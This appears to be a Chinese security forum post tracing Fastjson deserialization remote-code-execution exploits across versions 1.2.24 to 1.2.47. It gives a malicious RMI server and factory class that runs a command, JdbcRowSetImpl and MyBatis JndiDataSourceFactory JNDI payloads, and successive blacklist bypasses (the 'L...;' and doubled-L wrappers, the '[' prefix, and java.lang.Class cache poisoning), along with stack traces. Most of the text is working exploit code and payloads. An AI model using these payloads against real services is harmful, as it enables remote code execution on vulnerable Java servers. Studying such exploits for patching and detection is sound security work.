一
实验环境
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}public class CalcFactory implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return new Calc();
}
}
public class RMIServerReference {
void register() throws Exception{
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc", "CalcFactory", "");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/Calc", refObjWrapper);
System.out.println("RMI server running...");
}public static void main(String[] args) throws Exception {
new RMIServerReference().register();
}
}
public class FastjsonDeserializePoc {
public static void main(String[] args) {
//设置信任远程服务器加载的对象
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}
二
Fastjson版本
@type
。rmi://127.0.0.1:1099/Calc
,所以该行执行后就会请求到Calc类,从而触发RCE。connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
...
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
...
parse:128, JSON (com.alibaba.fastjson)
main:15, FastjsonDeserializePoc (com.milon.poc)
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:844)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.milon.poc.FastjsonDeserializePoc.main(FastjsonDeserializePoc.java:15)
com.sun.
包下的所有类,而JdbcRowSetImpl正是该包下的,所以此处就被过滤了。String payload = "{" +
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " +
"\"autoCommit\":true" +
"}";
@type
后面的类型字符串前面加了L,后面加了;public class FastjsonDeserializePoc {
public static void main(String[] args) {
//设置信任远程服务器加载的对象
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//开启autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.42</version>
</dependency>
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. Lcom.sun.rowset.JdbcRowSetImpl;
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:925)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)
at com.alibaba.fastjson.JSON.parse(JSON.java:152)
at com.alibaba.fastjson.JSON.parse(JSON.java:162)
at com.alibaba.fastjson.JSON.parse(JSON.java:131)
at com.milon.poc.FastjsonDeserializePoc.main(FastjsonDeserializePoc.java:17)
@type
属性经过掐头去尾得到的字符串com.sun.rowset.JdbcRowSetImpl
经过hash又落在了黑名单内。我们往前看checkAutoType是怎么处理的:Lxxx;
的形式,可以证明:(((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L
"L*;"
代入,结果为true:"*L;"
,结果为false:
"L;*"
也为false,说明只有"Lxxx;"
形式的字符串才会得出true的结果,而我们的payload:Lcom.sun.rowset.JdbcRowSetImpl;
正符合该形式,所以会被掐头去尾,而后计算出的hash值落在了黑名单内。LLcom.sun.rowset.JdbcRowSetImpl;;
即可绕过。<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.43</version>
</dependency>
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.rowset.JdbcRowSetImpl;;
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:914)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)
at com.alibaba.fastjson.JSON.parse(JSON.java:152)
at com.alibaba.fastjson.JSON.parse(JSON.java:162)
at com.alibaba.fastjson.JSON.parse(JSON.java:131)
at com.milon.poc.FastjsonDeserializePoc.main(FastjsonDeserializePoc.java:17)
[com.sun.rowset.JdbcRowSetImpl
exepct '[', but ,, pos 42, json
,大意是json偏移42字符的位置期望一个[
,但实际是一个,
那我们就在第42个字符的地方插入一个 [,将payload改为:String payload = "{" +
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " +
"\"autoCommit\":true" +
"}";
syntax error, expect {, actual string, pos 43
,提示第43个字符期望一个{
,那我们再满足它:String payload = "{" +
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " +
"\"autoCommit\":true" +
"}";
(BASIC ^ className.charAt(0)) * PRIME == 0xaf64164c86024f1aL
java.util.Properties
类型的对象时,fastjson会把序列化字符串中xxx字段对应的key->value全部放到这个Properties参数中,示例:public class MyFactory {
public void setXxx(Properties properties) {
System.out.println("MyFactory setProperties...");
}
}
String payload = "{\n" +
" \"@type\":\"MyFactory\",\n" +
" \"xxx\":{\n" +
" \"k1\":\"v1\",\n" +
" \"k2\":\"v2\"\n" +
" }\n" +
"}";
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.45</version>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.6</version>
</dependency>
JndiDataSourceFactory
类,里面有一个setProperties方法,参数是Properties对象,并且同样调用了InitialContext的lookup方法:String payload = "{\n" +
" \"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
" \"properties\":{\n" +
" \"data_source\":\"rmi://127.0.0.1:1099/Calc\"\n" +
" }\n" +
"}";
@type
为java.lang.Class
。// 判断解析状态是否为重定向
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
// 如果是重定向状态则将解析状态设为NONE
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA); //期望下一个字符是逗号,// 判断下一个是否是字符串
if (lexer.token() == JSONToken.LITERAL_STRING) {
// 如果是字符串,但其值不是val则抛异常
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}parser.accept(JSONToken.COLON); //期望下一个字符是冒号:
objVal = parser.parse(); //解析下一个value,并赋值给objVal
parser.accept(JSONToken.RBRACE); //期望下一个字符是右花括号 }
}
{"val": "xxx"}
,所以我们先构造一个payload:{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
{
"1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/Calc",
"autoCommit": "true"
}
}
java.lang.Class
列入了黑名单,同时在调用TypeUtils.loadClass方法时,显式传入了cache=false,这样JdbcRowSetImpl将无法缓存。看雪ID:米龙·0xFFFE
https://bbs.kanxue.com/user-home-997719.htm
# 往期推荐
2、恶意木马历险记
球分享
球点赞
球在看
点击阅读原文查看更多